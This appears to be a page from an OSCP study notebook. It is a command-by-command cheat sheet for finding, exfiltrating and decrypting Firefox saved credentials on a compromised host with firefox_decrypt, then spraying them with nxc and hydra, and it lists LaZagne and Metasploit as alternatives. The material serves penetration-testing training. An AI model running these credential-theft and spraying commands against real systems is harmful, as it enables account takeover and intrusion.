Pearson's OSCP Notebook

Firefox Credentials - firefox_decrypt

Properties1
tagsfirefox, firefox_decrypt, browser-credentials, logins.json, key4.db, lateral-movement, credential-discovery, linux, oscp

3 min read

Firefox Saved Credentials — firefox_decrypt

Ctrl+F: logins.json · key4.db · cert9.db · cookies.sqlite · .mozilla/firefox

If Firefox was used on a compromised Linux host and the user saved passwords, you can recover them offline on Kali with firefox_decrypt.

Use recovered creds for lateral movement → nxcspray · SSH · Hydra · Credential Graph

📌 When to use

SituationAction
User shell on Linux desktop / dev boxHunt ~/.mozilla/firefox/
LinPEAS flags browser profileGrab the four files below
Need creds without rootUser’s home dir is enough (no root required)
Windows + SMB adminCrackMapExec - nxc -M firefox instead

📌 Files required (all four)

FilePurpose
logins.jsonSaved URL / username entries (encrypted)
key4.dbNSS key database — decrypts logins
cert9.dbCertificate DB (needed by tool)
cookies.sqliteSession cookies (sometimes useful for web apps)

📌 Step 1 — Find profile on target

Profile folder name is random per install (not always esmhp32w.default-default):

ls ~/.mozilla/firefox/
cat ~/.mozilla/firefox/profiles.ini
 
# List profiles
ls -la ~/.mozilla/firefox/*.default* 2>/dev/null
ls -la ~/.mozilla/firefox/*.default-release* 2>/dev/null

Confirm the four files exist:

PROFILE=~/.mozilla/firefox/XXXX.default-default   # replace with actual folder name
ls "$PROFILE" | grep -E "logins.json|cert9.db|cookies.sqlite|key4.db"

Example output:

cert9.db
cookies.sqlite
key4.db
logins.json

Other users on the box:

find /home -path "*/.mozilla/firefox/*/logins.json" 2>/dev/null

📌 Step 2 — Exfil to Kali

Option A — single staging folder on target, then download:

mkdir -p /tmp/fir
cp ~/.mozilla/firefox/XXXX.default-default/{logins.json,key4.db,cert9.db,cookies.sqlite} /tmp/fir/

Transfer via File Transfer (scp, nc, HTTP serve, etc.).

Option B — copy paths directly to Kali folder:

# On Kali — after scp/nc exfil
mkdir -p ~/fir
mv logins.json key4.db cert9.db cookies.sqlite ~/fir/

All four files must live in one directory for the tool.

📌 Step 3 — Install firefox_decrypt (Kali)

git clone https://github.com/unode/firefox_decrypt
cd firefox_decrypt
# Dependencies usually satisfied by python3 on Kali; if NSS errors:
# sudo apt install python3-pip libnss3-tools

→ Installation - Kali Setup

📌 Step 4 — Decrypt

python3 firefox_decrypt.py /path/to/fir/
# or from clone dir:
python3 firefox_decrypt.py ~/fir/
PromptMeaning
Master passwordUser set a Firefox master password — try blank Enter first; otherwise crack/spray
OutputURL, username, password (cleartext) per saved login

Pipe to file:

python3 firefox_decrypt.py ~/fir/ > firefox_creds.txt

📌 Step 5 — Lateral movement / privesc

# Spray recovered password across subnet
./nxcspray.sh targets.txt recovered_user 'RecoveredPassword123'
 
# SSH / web / DB with looted pair
ssh user@TARGET
hydra -l user -p 'RecoveredPassword123' TARGET ssh -f
 
# Map in credential graph

→ LatMovement · Credential Discovery · Initial foothold

📌 Alternatives

MethodWhen
CrackMapExec - nxc -M firefoxWindows SMB — remote loot Firefox profiles
LaZagneMulti-app cred dump on box (if installed/uploaded)
Metasploit post/multi/gather/firefox_credsMeterpreter session
ManualRead logins.json — usernames/URLs visible; passwords encrypted without tool
nxc smb TARGET -u user -p pass -M firefox

📌 Windows Firefox paths (reference)

C:\Users\USER\AppData\Roaming\Mozilla\Firefox\Profiles\XXXX.default\

Same four filenames — exfil and run firefox_decrypt on Kali the same way.

📌 Quick cheat sheet

# Target
ls ~/.mozilla/firefox/
ls ~/.mozilla/firefox/*.default*/ | grep -E "logins.json|cert9.db|cookies.sqlite|key4.db"
mkdir /tmp/fir && cp ~/.mozilla/firefox/PROFILE/{logins.json,key4.db,cert9.db,cookies.sqlite} /tmp/fir/
 
# Kali
git clone https://github.com/unode/firefox_decrypt
python3 firefox_decrypt/firefox_decrypt.py fir/

Graph View

Backlinks